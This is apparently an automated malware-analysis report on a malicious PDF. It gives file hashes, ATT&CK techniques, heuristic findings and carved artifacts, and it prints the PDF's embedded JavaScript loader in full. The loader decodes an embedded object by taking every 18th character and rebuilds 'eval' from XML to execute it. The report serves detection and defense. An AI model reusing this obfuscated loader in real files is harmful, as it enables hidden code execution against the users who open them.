PDF malware analysis — malicious · 5c79a154d532e9c8

MALICIOUS

PDF

5.9 KB First seen: 2013-08-12

MD5: 34e7644fb304bdbc149826e7f764752e SHA-1: 014207b3ff0b4d54d0985fc5c5f54ef45a2a8d0f SHA-256: 5c79a154d532e9c80fd74dc9b22fcb33248cd529b694039c4b1f8242c973f835

76 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1553.005 Mark-of-the-Web Bypass T1140 Deobfuscate/Decode Files or Information

The PDF contains embedded JavaScript that attempts to decode and execute a second-stage payload. The script reconstructs the string 'eval' and calls it with decoded content derived from an embedded object named 'xampp'. This indicates an attempt to download and execute further malicious content.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 5

Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0012.bin`	pdf-embedded-file	PDF EmbeddedFile object 12 at offset 0x428	150300 bytes
SHA-256: `5c319575d01ca313e14b2f29ed5dea4dc9150dcb5b7cc789325687b7ca25c295`
Detection ClamAV: No threats found Obfuscation or payload: likely 329 of 329 identifiers look randomly generated (e.g. 'WlKlwgLqxQP5N6Wip1WlKlwgLqxQP5N6Wip2WlKl') — consistent with name-mangling obfuscation. Carved artifact contains 145 long base64-like blob(s).
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1CC	254 bytes
SHA-256: `1bc4bf38a788adcc495fb84f1f085cb4c62f9f214ddac09c9e3dd447973e35e6`
Preview script First 1,000 lines of the extracted script ra=this.getDataObjectContents("xampp");rb=util.stringFromStream(ra, "utf-8");rc="";for (i=0;i<rb.length;i +=18){ rc +=rb.charAt(i);}rd="<test><one>ev</one><two>al</two></test>";re=XMLData.parse(rd); rf=re.one.value+re.two.value;this[rf](rc);

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